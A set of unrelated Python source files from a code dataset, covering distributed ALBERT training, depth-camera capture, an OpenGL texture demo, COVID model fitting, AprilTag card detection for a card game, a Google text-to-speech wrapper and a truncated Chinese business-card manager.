logger.info(\"learning rate schedule: {}\".format(lr))\n for param in optimizer.param_groups:\n param[\"lr\"] = lr\n early_stop_count -= 1\n logger.info(\"early stop count: {}\".format(early_stop_count))\n logger.info(\"Training finished.\")\n\ndef train(model, reader, optimizer, config, local_rank, writer=None):\n iterator = reader.make_batch(\"train\")\n\n if local_rank == 0: # only one process prints something\n t = tqdm(enumerate(iterator), total=train.max_iter, ncols=150, position=0, leave=True)\n else:\n t = enumerate(iterator)\n\n for batch_idx, batch in t:\n try:\n inputs, labels = reader.make_input(batch)\n batch_size = inputs.size(0)\n length = inputs.size(1)\n distributed_batch_size = math.ceil(batch_size / config.num_gpus)\n\n # distribute batches to each gpu\n inputs = distribute_data(inputs, config.num_gpus)[local_rank].cuda().contiguous()\n labels = distribute_data(labels, config.num_gpus)[local_rank].cuda().contiguous()\n\n model.zero_grad()\n pad_mask = (inputs != reader.pad_token_id).cuda()\n label_mask = (labels == reader.pad_token_id).cuda()\n label_mask.masked_fill_(label_mask, value=-100) # use only masked tokens for loss\n loss, logits = model(inputs, masked_lm_labels=labels, attention_mask=pad_mask)\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), 10)\n optimizer.step()\n train.global_step += 1\n\n if local_rank == 0:\n writer.add_scalar(\"Train/loss\", loss.item(), train.global_step)\n t.set_description(\"iter: {}, loss: {:.4f}\".format(batch_idx+1, loss.item()))\n time.sleep(1)\n \n del loss, logits\n torch.cuda.empty_cache()\n\n except RuntimeError as e:\n print(e)\n print(\"batch size: {}, length: {}\".format(batch_size, length))\n error_save_path = \"save/model_error_{}.pt\".format(re.sub(\"\\s+\", \"_\", time.asctime()))\n print(\"model saved to {}\".format(error_save_path))\n save(model, optimizer, error_save_path)\n exit(0)\n\n except KeyboardInterrupt as e:\n print(e)\n stop_save_path = \"save/model_stop_{}.pt\".format(re.sub(\"\\s+\", \"_\", time.asctime()))\n print(\"model saved to {}\".format(stop_save_path))\n save(model, optimizer, stop_save_path)\n exit(0)\n\ndef validate(model, reader, config, local_rank):\n model.eval()\n loss = 0\n batch_count = 0\n\n with torch.no_grad():\n iterator = reader.make_batch(\"dev\")\n\n if local_rank == 0:\n t = tqdm(enumerate(iterator), total=validate.max_iter, ncols=150, position=0, leave=True)\n else:\n t = enumerate(iterator)\n\n for batch_idx, batch in t:\n inputs, labels = reader.make_input(batch)\n batch_size = inputs.size(0)\n length = inputs.size(1)\n distributed_batch_size = math.ceil(batch_size / config.num_gpus)\n\n # distribute batches to each gpu\n inputs = distribute_data(inputs, config.num_gpus)[local_rank].cuda().contiguous()\n labels = distribute_data(labels, config.num_gpus)[local_rank].cuda().contiguous()\n\n pad_mask = (inputs != reader.pad_token_id).cuda()\n loss_, logits = model.forward(inputs, masked_lm_labels=labels, attention_mask=pad_mask)\n\n loss += loss_ * distributed_batch_size\n batch_count += distributed_batch_size\n\n if local_rank == 0:\n t.set_description(\"iter: {}\".format(batch_idx+1))\n time.sleep(1)\n\n del loss_, logits\n torch.cuda.empty_cache()\n\n dist.all_reduce(loss)\n loss = loss / config.num_gpus\n val_loss = loss.item() / batch_count\n\n del loss\n torch.cuda.empty_cache()\n\n model.train()\n\n return val_loss\n\ndef save(model, optimizer, save_path):\n checkpoint = {\n \"model\": model.module.state_dict(),\n \"optimizer\": optimizer.state_dict()\n }\n torch.save(checkpoint, save_path)\n\ndef load(model, optimizer, save_path, local_rank):\n checkpoint = torch.load(save_path, map_location = lambda storage, loc: storage.cuda(local_rank))\n model.module.load_state_dict(checkpoint[\"model\"])\n optimizer.load_state_dict(checkpoint[\"optimizer\"])\n\nif __name__ == \"__main__\":\n os.environ[\"KMP_WARNINGS\"] = \"0\"\n # torch.multiprocessing.set_start_method(\"spawn\")\n\n config = Config()\n parser = config.parser\n config = parser.parse_args()\n\n config_dict = vars(config)\n albert_config = {\n \"attention_probs_dropout_prob\": 0,\n \"bos_token_id\": 2,\n \"classifier_dropout_prob\": 0.1,\n \"embedding_size\": 128,\n \"eos_token_id\": 3,\n \"hidden_act\": \"gelu_new\",\n \"hidden_dropout_prob\": 0,\n \"hidden_size\": 4096,\n \"initializer_range\": 0.02,\n \"inner_group_num\": 1,\n \"intermediate_size\": 16384,\n \"layer_norm_eps\": 1e-12,\n \"max_position_embeddings\": 512,\n \"model_type\": \"albert\",\n \"num_attention_heads\": 64,\n \"num_hidden_groups\": 1,\n \"num_hidden_layers\": 12,\n \"pad_token_id\": 0,\n \"type_vocab_size\": 2,\n \"vocab_size\": 30000\n }\n for parameter in albert_config.keys():\n albert_config[parameter] = config_dict[parameter]\n albert_config = AlbertConfig.from_dict(albert_config)\n\n logger = logging.getLogger()\n logger.setLevel(logging.INFO)\n stream_handler = logging.StreamHandler()\n logger.addHandler(stream_handler)\n\n processes = []\n\n for local_rank in range(0, config.num_gpus):\n process = Process(target=init_process, args=(local_rank, \"gloo\", config, albert_config, logger))\n process.start()\n processes.append(process)\n \n for process in processes:\n process.join()","sub_path":"distributed_train.py","file_name":"distributed_train.py","file_ext":"py","file_size_in_byte":10582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"460517985","text":"#!/usr/bin/python\n\n# This script works with the Orbbec Astra series RGBD cameras.\n# This script only works with x64 (not x86) architecture.\n# This script only works on Windows.\n\n\n# If the Orbbec drivers haven't been installed, download the Orbbec OpenNI SDK here:\n# https://orbbec3d.com/develop\n# In this directory, you will find the executable \n# OpenNI_2.3.0.55 > Windows > Astra OpenNI2 Development Instruction(x64)_V1.3 > Driver > SensorDriver_V4.3.0.9.exe\n# Run this exe file and follow the installation prompts. \n# When you plug in an orbbec sensor, it should be recognized without any error in the DeviceManager.\n# If there is an error, try uninstalling and reinstalling the driver.\n\n# Run setlib_environ.bat in the directory here:\n# OpenNI_2.3.0.55 > Windows > Astra OpenNI2 Development Instruction(x64)_V1.3 > OpenNI2 > OpenNI-Windows-x64-2.3.0.55 > Redist\n\n# Ensure that python is installed and that the following python modules\n# are installed using pip:\n# opencv-python, numpy, primesense\n\n# Make sure to pass the correct path to the openni2 Redist folder. \n# The correct Redist folder should be located in\n# OpenNI_2.3.0.55 > Windows > Astra OpenNI2 Development Instruction(x64)_V1.3 > OpenNI2 > OpenNI-Windows-x64-2.3.0.55 > Redist\n# This folder should contain \n# OpenNI2\n#\tDrivers\n#\t\tOniFile.dll\n#\t\tOniFile.ini\n#\t\torbbec.dll\n#\t\tOrbbec.ini\n# OpenNI.ini\n# OpenNI2.dll\n# OpenNI2.jni.dll\n# org.openni.jar\n\n\n# For more information about how to read both the rgb and the depth \n# at once, see this link:\n# https://github.com/kanishkaganguly/OpenNIMultiSensorCapture/blob/master/capture_cam.py\n\n\n# possible pixel formats are listed here:\n# https://github.com/tomerfiliba/PrimeSense/blob/master/primesense/openni2.py\n\nimport cv2\nimport numpy as np\nfrom primesense import openni2\nfrom primesense import _openni2 as c_api\nopenni2.initialize(\"Redist/\") #The OpenNI2 Redist folder\ndev = openni2.Device.open_any()\ndepth_stream = dev.create_depth_stream()\ndepth_stream.start()\ndepth_stream.set_video_mode(c_api.OniVideoMode(pixelFormat = c_api.OniPixelFormat.ONI_PIXEL_FORMAT_DEPTH_100_UM, resolutionX = 640, resolutionY = 480, fps = 30))\nwhile True:\n\tframe = depth_stream.read_frame()\n\tframe_data = frame.get_buffer_as_uint16()\n\timg = np.frombuffer(frame_data, dtype=np.uint16)\n\timg.shape = (1, 480, 640)\n\timg = np.concatenate((img, img, img), axis=0)\n\timg = np.swapaxes(img, 0, 2)\n\timg = np.swapaxes(img, 0, 1)\n\n\timg = img.astype(np.uint8) # This is required to be able to draw it\n\tcv2.imshow(\"image\", img)\n\tcv2.waitKey(34)\nopenni2.unload()\n","sub_path":"scripts/sketches/test_depth.py","file_name":"test_depth.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"162969965","text":"import numpy as np\nfrom scipy.misc import lena\nimport OpenGL.GL as gl\nimport wx\nfrom wx.glcanvas import GLCanvas\n\nclass Canvas(GLCanvas):\n def __init__(self,parent):\n \"\"\" create the canvas \"\"\"\n super(Canvas,self).__init__(parent)\n self.done_init_texture = False\n\n # execute self.onPaint whenever the parent frame is repainted \n wx.EVT_PAINT(self,self.onPaint)\n\n def initTexture(self):\n \"\"\"\n init the texture - this has to happen after an OpenGL context\n has been created\n \"\"\"\n\n # make the OpenGL context associated with this canvas the current one\n self.SetCurrent()\n\n data = np.uint8(np.flipud(lena()))\n w,h = data.shape\n\n # generate a texture id, make it current\n self.texture = gl.glGenTextures(1)\n gl.glBindTexture(gl.GL_TEXTURE_2D,self.texture)\n\n # texture mode and parameters controlling wrapping and scaling\n gl.glTexEnvf( gl.GL_TEXTURE_ENV, gl.GL_TEXTURE_ENV_MODE, gl.GL_MODULATE )\n gl.glTexParameterf( gl.GL_TEXTURE_2D, gl.GL_TEXTURE_WRAP_S, gl.GL_REPEAT )\n gl.glTexParameterf( gl.GL_TEXTURE_2D, gl.GL_TEXTURE_WRAP_T, gl.GL_REPEAT )\n gl.glTexParameterf( gl.GL_TEXTURE_2D, gl.GL_TEXTURE_MAG_FILTER, gl.GL_LINEAR )\n gl.glTexParameterf( gl.GL_TEXTURE_2D, gl.GL_TEXTURE_MIN_FILTER, gl.GL_LINEAR )\n\n\n # map the image data to the texture. note that if the input\n # type is GL_FLOAT, the values must be in the range [0..1]\n gl.glTexImage2D(gl.GL_TEXTURE_2D,0,gl.GL_RGB,w,h,0,\n gl.GL_LUMINANCE,gl.GL_UNSIGNED_BYTE,data)\n\n def onPaint(self,event):\n \"\"\" called when window is repainted \"\"\"\n # make sure we have a texture to draw\n if not self.done_init_texture:\n self.initTexture()\n self.done_init_texture = True\n self.onDraw()\n\n def onDraw(self):\n \"\"\" draw function \"\"\"\n\n # make the OpenGL context associated with this canvas the current one\n self.SetCurrent()\n\n # set the viewport and projection \n w,h = self.GetSize()\n gl.glViewport(0,0,w,h)\n\n gl.glMatrixMode(gl.GL_PROJECTION)\n gl.glLoadIdentity()\n gl.glOrtho(0,1,0,1,0,1)\n\n gl.glMatrixMode(gl.GL_MODELVIEW)\n gl.glLoadIdentity()\n gl.glClear( gl.GL_COLOR_BUFFER_BIT )\n\n # enable textures, bind to our texture\n gl.glEnable(gl.GL_TEXTURE_2D)\n gl.glBindTexture(gl.GL_TEXTURE_2D,self.texture)\n\n gl.glColor3f( 1, 1, 1 )\n\n # draw a quad\n gl.glBegin( gl.GL_QUADS )\n gl.glTexCoord2f( 0, 1 ); gl.glVertex3f( 0, 1, 0 )\n gl.glTexCoord2f( 0, 0 ); gl.glVertex3f( 0, 0, 0 )\n gl.glTexCoord2f( 1, 0 ); gl.glVertex3f( 1, 0, 0 )\n gl.glTexCoord2f( 1, 1 ); gl.glVertex3f( 1, 1, 0 )\n gl.glEnd( )\n\n gl.glDisable(gl.GL_TEXTURE_2D)\n\n # swap the front and back buffers so that the texture is visible\n self.SwapBuffers()\n\ndef run():\n app = wx.App()\n fr = wx.Frame(None,size=(512,512),title='wxPython texture demo')\n canv = Canvas(fr)\n fr.Show()\n app.MainLoop()\n\nif __name__ == \"__main__\":\n run()","sub_path":"Early Tests/00 first commit/tex.py","file_name":"tex.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"28593126","text":"import os\nimport io\nimport pandas as pd\nfrom datetime import datetime,timedelta\nimport os.path\nimport time\nimport sys\nfrom scipy.optimize import basinhopping\nfrom modules.dataFit_SEAIRD_v2AdjustIC import Learner,lossOdeint,\\\n download_data,load_json,sumCases_province\n\nimport subprocess as sub\nfrom itertools import (takewhile,repeat)\nimport ray\n\ndef line_count(filename):\n return int(sub.check_output(['wc', '-l', filename]).split()[0])\n\ndef rawincount(filename):\n f = open(filename, 'rb')\n bufgen = takewhile(lambda x: x, (f.raw.read(1024*1024) for _ in repeat(None)))\n return sum( buf.count(b'\\n') for buf in bufgen )\n\ndef append_new_line(file_name, text_to_append):\n #Append given text as a new line at the end of file\n # Open the file in append & read mode ('a+')\n with open(file_name, \"a+\") as file_object:\n # Move read cursor to the start of file.\n file_object.seek(0)\n # If file is not empty then append '\\n'\n data = file_object.read(9999999)\n if len(data) > 0:\n file_object.write(\"\\n\")\n # Append text at the end of file\n file_object.write(text_to_append)\n\ndef create_fun(country,e0,a0,date,version,startNCases):\n def fun(point):\n s0, deltaDate, i0, wcases, wrec, r0, d0 = point\n cleanRecovered=False\n predict_range=200\n s0=int(round(s0))\n i0=int(round(i0))\n deltaDate=int(deltaDate)\n r0=int(round(r0))\n d0=int(round(d0))\n\n if version==0:\n versionStr=\"\"\n else:\n versionStr=str(version)\n\n Date = datetime.strptime(date, \"%m/%d/%y\")\n end_date = Date + timedelta(days=+int(deltaDate))\n startdate=end_date.strftime('X%m/X%d/%y').replace('X0','X').replace('X','')\n\n strFile='./results/history_'+country+versionStr+'.csv'\n if os.path.isfile(strFile):\n totLines=rawincount(strFile)\n else:\n totLines=-1\n \n learner=Learner(country, lossOdeint, startdate, predict_range,\\\n s0, e0, a0, i0, r0, d0, version, startNCases, wcases, wrec, \n cleanRecovered)\n optimal, gtot = learner.train()\n\n beta, beta2, sigma, sigma2, sigma3, gamma, b, d, mu = optimal\n print(f\"s0={s0}, date={startdate}, i0={i0}, wrec={wrec}, wcases={wcases}\")\n print(f\"country={country}, beta={beta:.8f}, beta2={beta2:.8f}, 1/sigma={1/sigma:.8f},\"+\\\n f\" 1/sigma2={1/sigma2:.8f},1/sigma3={1/sigma3:.8f}, gamma={gamma:.8f}, b={b:.8f}, d={d:.8f},\"+\\\n f\" mu={mu:.8f}, r_0:{(beta/gamma):.8f}\")\n print(\"f(x)={}\".format(gtot))\n print(country+\" is done!\")\n\n strSave='{}, {}, {}, '.format(totLines+1,country, gtot)\n strSave=strSave+', '.join(map(str,point))\n strSave=strSave+', '+', '.join(map(str,optimal))\n append_new_line('./results/history_'+country+versionStr+'.csv', strSave) \n\n return gtot\n return fun\n\n#register function for parallel processing\n@ray.remote\ndef opt(country,e0,a0,date,version,startNCases):\n f=create_fun(country,e0,a0,date,version,startNCases)\n bounds=[(0.5e6,20e6),(0,5),(0,1500),\\\n (0.4,0.55),(0.09,0.11),(-50e3,50e3),(0,1500)]\n minimizer_kwargs = dict(method=\"L-BFGS-B\", bounds=bounds)\n x0=[1e6, 0, 200, 0.4, 0.1, 200, 200]\n optimal = basinhopping(f,x0,minimizer_kwargs=minimizer_kwargs,niter_success=500)\n return optimal.x\n\n#download new data\ndata_d = load_json(\"./data_url.json\")\ndownload_data(data_d)\nsumCases_province('data/time_series_19-covid-Confirmed.csv', 'data/time_series_19-covid-Confirmed-country.csv')\nsumCases_province('data/time_series_19-covid-Recovered.csv', 'data/time_series_19-covid-Recovered-country.csv')\nsumCases_province('data/time_series_19-covid-Deaths.csv', 'data/time_series_19-covid-Deaths-country.csv')\n\ndate=\"2/25/20\"\ns0=12000000\ne0=0\na0=0\ni0=0\nr0=0\nd0=0\n#weigth for fitting data\nwcases=0.6\nwrec=0.1\n#weightDeaths = 1 - weigthCases - weigthRecov\ncountries=[\"Italy\",\"France\",\"Brazil\", \"China\"]\n# countries=[\"Italy\",\"China\",\"France\",\"US\",\"Germany\",\"Sweden\",\"United Kingdowm\", \"Spain\", \"Belgium\"]\n#countries=[\"Brazil\"]\n\n#one processor per country\nray.shutdown()\nray.init(num_cpus=len(countries))\n\n#initialize vars\noptimal=[]\nversion=115\nversionx=version\ny=[]\n\n#main loop\nfor country in countries: \n\n if version==0:\n versionStr=\"\"\n else:\n versionStr=str(version)\n \n if country==\"China\":\n date=\"1/25/20\"\n s0=600e3\n e0=1e-4\n i0=800\n r0=0 #-250e3\n d0=0\n #start fitting when the number of cases >= start\n startNCases=0\n #how many days is the prediction\n # predict_range=150\n #weigth for fitting data\n wcases=0.15\n wrec=0.1\n #weightDeaths = 1 - weigthCases - weigthRecov\n \n if country==\"Italy\":\n date=\"2/24/20\"\n s0=2.1e6 #3e6*4*2*2*0.7*1.2*1.1\n e0=1e-4\n i0=200\n r0=0\n d0=50\n #start fitting when the number of cases >= start\n startNCases=100\n #how many days is the prediction\n # predict_range=150\n #weigth for fitting data\n wcases=0.1\n wrec=0.1\n #weightDeaths = 1 - weigthCases - weigthRecov\n\n if country==\"France\":\n date=\"3/3/20\"\n s0=1e6 #1.5e6*1.5*120/80*1.05\n e0=1e-4\n i0=0\n r0=0\n d0=0\n #start fitting when the number of cases >= start\n startNCases=100\n #how many days is the prediction\n # predict_range=150\n #weigth for fitting data\n wcases=0.1\n wrec=0.1\n #weightDeaths = 1 - weigthCases - weigthRecov\n\n if country==\"Brazil\":\n date=\"3/02/20\"\n s0=3.0e6*6.5 #3.0e6*3.5 not clean #3.0e6*2.5 clean\n e0=1e-4\n i0=500 #not clean\n r0=0 #14000 #14000 not clean #0 clean\n d0=0\n #start fitting when the number of cases >= start\n startNCases=150\n #how many days is the prediction\n # predict_range=200\n #weigth for fitting data\n wcases=0.47 #not clean\n wrec=0.1 #not clean\n #weightDeaths = 1 - weigthCases - weigthRecov\n cleanRecovered=False\n\n strFile='./results/history_'+country+versionStr+'.csv'\n if os.path.isfile(strFile):\n os.remove(strFile)\n optimal.append(opt.remote(country,e0,a0,date,version,startNCases)) \n version+=1\noptimal = ray.get(optimal)\n\nfor i in range(0,len(countries)): \n\n if versionx==0:\n versionStr=\"\"\n else:\n versionStr=str(versionx)\n \n with io.open('./results/resultOpt'+countries[i]+versionStr+'.txt', 'w', encoding='utf8') as f:\n f.write(\"country = {}\\n\".format(countries[i]))\n f.write(\"S0 = {}\\n\".format(optimal[i][0]))\n f.write(\"Delta Date Days = {}\\n\".format(optimal[i][1])) \n f.write(\"I0 = {}\\n\".format(optimal[i][2])) \n f.write(\"wCases = {}\\n\".format(optimal[i][3])) \n f.write(\"wRec = {}\\n\".format(optimal[i][4])) \n f.write(\"R0 = {}\\n\".format(optimal[i][5])) \n f.write(\"D0 = {}\\n\".format(optimal[i][6])) \n \n stdoutOrigin=sys.stdout \n sys.stdout = open('./results/log'+countries[i]+versionStr+'.txt', \"w\") \n print(optimal[i])\n sys.stdout.close()\n sys.stdout=stdoutOrigin\n\n versionx+=1","sub_path":"countries/source/adjustInitalConditionsBH.py","file_name":"adjustInitalConditionsBH.py","file_ext":"py","file_size_in_byte":7298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"284283459","text":"import apriltags3\nimport os\nimport cv2\nimport numpy as np\nimport math \nimport numpy as np\nfrom cv2 import imshow\nfrom model.card import Card\nfrom log import log\n\nvisualization = False\ncurrent_loc = os.path.dirname(os.path.abspath(__file__))\nlog(current_loc)\nfile_name = 'turn0.jpg'\nread_path = current_loc + \"/vision/data/board_rec/before/\" + file_name\nsave_path = current_loc + \"/vision/data/board_rec/after/\" + file_name\n\n\nat_detector = apriltags3.Detector(families='tagStandard41h12',\n nthreads=1,\n quad_decimate=1.0,\n quad_sigma=0.0,\n refine_edges=1,\n decode_sharpening=0.25,\n debug=1)\n\ntime_num = 0\ntime_sum = 0\n\n\nimg = cv2.imread(read_path, cv2.IMREAD_GRAYSCALE)\n\n\ndef id_to_card(id_):\n assert id_ < 60\n assert id_ >= 0\n\n colors = ['green', 'blue', 'red', 'yellow', 'white']\n numbers = {\n 0: 1,\n 1: 1,\n 2: 1,\n 3: 2,\n 4: 2,\n 5: 3,\n 6: 3,\n 7: 4,\n 8: 4,\n 9: 5\n }\n\n color = colors[id_ // 10]\n number = numbers.get(id_ % 10)\n\n return Card(color, number, id_)\n\n\n\ndef detectState(tags, empty_draw_pile = False, discard_threshold=50, hand_threshold=50, nearness_threshold=1.5):\n\n def find_center(tag):\n return sum(tag.corners)/4\n\n def find_area(tag):\n return abs((tag.corners[0][0] - tag.corners[1][0]) * (tag.corners[1][1] - tag.corners[2][1])) #* (tag.corners[2][1] - tag.corners[0][1])\n\n\n area_sorted = sorted(tags, key=find_area)\n \n\n\n # log('cards:, ', [id_to_card(tag.tag_id) for tag in area_sorted])\n\n # log(find_area(area_sorted[-2]))\n # log(find_area(area_sorted[-1]))\n\n gripper = []\n if len(area_sorted) > 2 and (find_area(area_sorted[-1]) > (find_area(area_sorted[-2]) * 4)):\n log('comp1 ', id_to_card(area_sorted[-1].tag_id), find_area(area_sorted[-1]))\n log('comp2 ', id_to_card(area_sorted[-2].tag_id), find_area(area_sorted[-2]))\n gripper = [area_sorted[-1]]\n print(\"Gripper detected: \", gripper)\n\n # if empty_draw_pile and (find_center(area_sorted[-1])[1] > (find_center(area_sorted[-2])[1] * nearness_threshold)):\n # gripper = area_sorted[-1]\n # else:\n # gripper = [] \n\n # log('BIGGEST', id_to_card(width_sorted[-1].tag_id), find_width(width_sorted[-1]))\n # log('2nd BIG', id_to_card(width_sorted[-2].tag_id), find_width(width_sorted[-2]))\n\n y_sorted = sorted(tags, key=lambda tag: find_center(tag)[1])\n x_sorted = sorted(tags, key=lambda tag: find_center(tag)[0])\n\n # log('y', [id_to_card(tag.tag_id) for tag in y_sorted])\n # log('x', [id_to_card(tag.tag_id) for tag in x_sorted])\n\n if empty_draw_pile and (find_center(y_sorted[4])[1] > (find_center(y_sorted[3])[1] + hand_threshold)):\n hand = sorted(y_sorted[:4], key=lambda tag: find_center(tag)[0])\n else:\n hand = sorted(y_sorted[:5], key=lambda tag: find_center(tag)[0])\n\n # log(id_to_card(x_sorted[-1].tag_id), find_center(x_sorted[-1]))\n # log(id_to_card(x_sorted[-2].tag_id), find_center(x_sorted[-2]))\n\n if find_center(x_sorted[-1])[0] > (find_center(x_sorted[-2])[0] + discard_threshold):\n discard = [x_sorted[-1]]\n assert discard not in hand\n else:\n discard = []\n\n board = [tag for tag in x_sorted if ((tag not in hand) and (tag not in discard))]\n\n res = {\"discard\": discard, \"hand\": hand, \"board\": board, \"gripper\": gripper}\n\n for key in res:\n if res[key]:\n res[key] = [id_to_card(tag.tag_id) for tag in res[key]]\n log([key + \": \" + \", \".join([str(card) for card in res[key]]) for key in res]) \n return res\n\n\n\ndef getTags(img, flip=False, verbose=False, save=False):\n \n if flip:\n res = cv2.flip(img, 1)\n else:\n res = img\n\n #get camera params ---------------------------------------------------------\n x_rad = 640/2 #camera radius y direction\n y_rad = 480/2 #camera radius x direction\n fov = 60 #field of view (degrees)\n x_foc = x_rad / math.tan(fov/2) #calculate x focal length\n y_foc = y_rad / math.tan(fov/2) #calculate y focal length \n cameraMatrix = np.array([x_foc, 0, x_rad, 0, y_foc, y_rad, 0, 0, 1]).reshape(3,3)\n cam_params = ( cameraMatrix[0,0], cameraMatrix[1,1], cameraMatrix[0,2], cameraMatrix[1,2])\n\n tags = at_detector.detect(res, estimate_tag_pose=True, camera_params=cam_params, tag_size=0.05)\n print(tags)\n for tag in tags:\n print(\"Tag id:\" + str(tag.tag_id))\n print(\"Tag pose_t:\" + str(tag.pose_t)) \n\n color_img = cv2.cvtColor(res, cv2.COLOR_GRAY2RGB)\n\n if verbose:\n tag_ids = [tag.tag_id for tag in tags]\n log(len(tags), \" tags found.\")\n log(len(tags), \" cards found: \", [id_to_card(id_) for id_ in tag_ids])\n\n if save:\n cv2.imwrite(save_path, color_img)\n\n return tags\n","sub_path":"vision/recognize_board.py","file_name":"recognize_board.py","file_ext":"py","file_size_in_byte":4863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"394470438","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# pylint: disable=C0103,W0703,R1711\n\n'''\nTTS service modules\n\nGoogleTTS - TTS from google\nXunfeiTTS - TTS from Xunfei (TBD)\nAmazonPollyTTS - TTS from Amazon(TBD)\n'''\n\nimport os\nimport logging\nimport html\nfrom google.cloud import texttospeech\n\nclass GoogleTTS:\n \"\"\" Wrapper class to provide google TTS service \"\"\"\n\n def __init__(self, config):\n self.config = config\n self.language_code = \"cmn-CN\"\n self.voice_name = \"cmn-CN-Wavenet-A\"\n self.speaking_rate = 1.0\n self.paragraph_break_time = \"1s\"\n\n if \"GOOGLE_TTS_LANAGUAGE_CODE\" in config:\n self.language_code = config[\"GOOGLE_TTS_LANAGUAGE_CODE\"]\n\n if \"GOOGLE_TTS_VOICE_NAME\" in config:\n self.voice_name = config[\"GOOGLE_TTS_VOICE_NAME\"]\n\n if \"GOOGLE_TTS_SPEAKING_RATE\" in config:\n self.speaking_rate = float(config[\"GOOGLE_TTS_SPEAKING_RATE\"])\n\n if \"GOOGLE_TTS_PARAGRAPH_BREAK_TIME\" in config:\n self.paragraph_break_time = config[\"GOOGLE_TTS_PARAGRAPH_BREAK_TIME\"]\n\n os.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = os.path.abspath(\n os.path.expanduser(config[\"GOOGLE_APPLICATION_CREDENTIALS\"]))\n\n return\n\n @staticmethod\n def list_voices():\n \"\"\"Lists the available voices.\"\"\"\n client = texttospeech.TextToSpeechClient()\n voices = client.list_voices()\n for voice in voices.voices:\n print(f\"Name: {voice.name}\")\n for language_code in voice.language_codes:\n print(f\"Supported language: {language_code}\")\n ssml_gender = texttospeech.SsmlVoiceGender(voice.ssml_gender)\n print(f\"SSML Voice Gender: {ssml_gender.name}\")\n print(f\"Natural Sample Rate Hertz: {voice.natural_sample_rate_hertz}\\n\")\n\n def text_to_ssml(self, inputfile):\n \"\"\"\n auxiliary function to convert pure text to ssml .\n break time will be inserted for each paragraph\n \"\"\"\n raw_lines = inputfile\n escaped_lines = html.escape(raw_lines)\n # Convert plaintext to SSML\n # Wait two seconds between each address\n ssml = \"{}\".format(\n escaped_lines.replace(\"\\n\", '\\n'%self.paragraph_break_time)\n )\n return ssml\n\n def synthesize_chinese_ssml(self, ssml_text, output):\n \"\"\" synthesize Chinese from SSML input \"\"\"\n client = texttospeech.TextToSpeechClient()\n synthesis_input = texttospeech.SynthesisInput(ssml=ssml_text)\n\n voice = texttospeech.VoiceSelectionParams(\n language_code=self.language_code,\n name=self.voice_name,\n ssml_gender=texttospeech.SsmlVoiceGender.FEMALE)\n\n audio_config = texttospeech.AudioConfig(\n audio_encoding=texttospeech.AudioEncoding.MP3,\n speaking_rate=self.speaking_rate)\n\n response = client.synthesize_speech(\n input=synthesis_input,\n voice=voice,\n audio_config=audio_config)\n\n with open(output, \"wb\") as out:\n out.write(response.audio_content)\n logging.info('Audio content written to file %s', output)\n return\n\n def synthesize_chinese_text(self, content, output):\n \"\"\" synthesize Chinese from pure text input \"\"\"\n client = texttospeech.TextToSpeechClient()\n synthesis_input = texttospeech.SynthesisInput(text=content)\n\n voice = texttospeech.VoiceSelectionParams(\n language_code=self.language_code,\n name=self.voice_name,\n ssml_gender=texttospeech.SsmlVoiceGender.FEMALE)\n\n audio_config = texttospeech.AudioConfig(\n audio_encoding=texttospeech.AudioEncoding.MP3,\n speaking_rate=self.speaking_rate)\n\n response = client.synthesize_speech(\n input=synthesis_input,\n voice=voice,\n audio_config=audio_config)\n\n # The response's audio_content is binary.\n with open(output, \"wb\") as out:\n out.write(response.audio_content)\n logging.info('Audio content written to file %s', output)\n return\n","sub_path":"TTSService.py","file_name":"TTSService.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"483471060","text":"import subprocess\nimport plistlib\nimport pprint\n\ndata = subprocess.check_output(\n [\"/usr/bin/xcrun\", \"-sdk\", \"macosx\", \"--show-sdk-path\"],\n universal_newlines=True,\n).strip()\n\nprint(data)\n\nvalue = plistlib.load(open(data + \"/SDKSettings.plist\", \"rb\"))\npprint.pprint(value)\n","sub_path":"pyobjc-core/t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"156563931","text":"#!/usr/bin/python3\r\n# -*- coding:utf-8 -*-\r\n\r\ndef show_menu():\r\n \"\"\"\r\n 显示功能菜单函数\r\n \"\"\"\r\n print('*' * 50)\r\n print(\"欢迎来到名片管理系统\")\r\n print('-' * 50)\r\n print(\"\\t[1] 新增名片\")\r\n print(\"\\t[2] 显示全部\")\r\n print(\"\\t[3] 查询名片\")\r\n print(\"\\t[4] 退出系统\")\r\n print('*' * 50)\r\n\r\n\r\ndef make_tab():\r\n \"\"\"\r\n 打印表头\r\n \"\"\"\r\n print(\"=\" * 50)\r\n print(\"姓名\\t\\t年龄\\t\\t电话\\t\\t邮箱\")\r\n print(\"-\" * 50)\r\n\r\n\r\n# 创建列表用于保存键值对\r\n# 不能放到函数里面,不然每次新建名片内容都被覆盖了\r\ncard_list = []\r\n\r\n\r\ndef new_cards():\r\n \"\"\"\r\n 定义一个新建名片的函数,获取到用户输入的内容后,放入一个键值对当中,然后把键值对放入一个列表中\r\n \"\"\"\r\n # 获取用户输入内容并用键值对保存\r\n name = input(\"请输入姓名:\")\r\n age = input(\"请输入年龄:\")\r\n tel = input(\"请输入电话:\")\r\n email = input(\"请输入邮箱:\")\r\n user_dict = {\"name\": name,\r\n \"age\": age,\r\n \"tel\": tel,\r\n \"email\": email}\r\n # 把键值对放入列表中\r\n card_list.append(user_dict)\r\n\r\n\r\ndef show_all():\r\n \"\"\"\r\n 定义一个显示全部内容的函数,如果列表有信息就遍历,没有信息则提示用户输入\r\n\r\n \"\"\"\r\n if len(card_list) != 0:\r\n make_tab()\r\n # 遍历列表得到用户信息字典\r\n for user_dict in card_list:\r\n # 得到用户各项信息的值(和表头对齐)\r\n 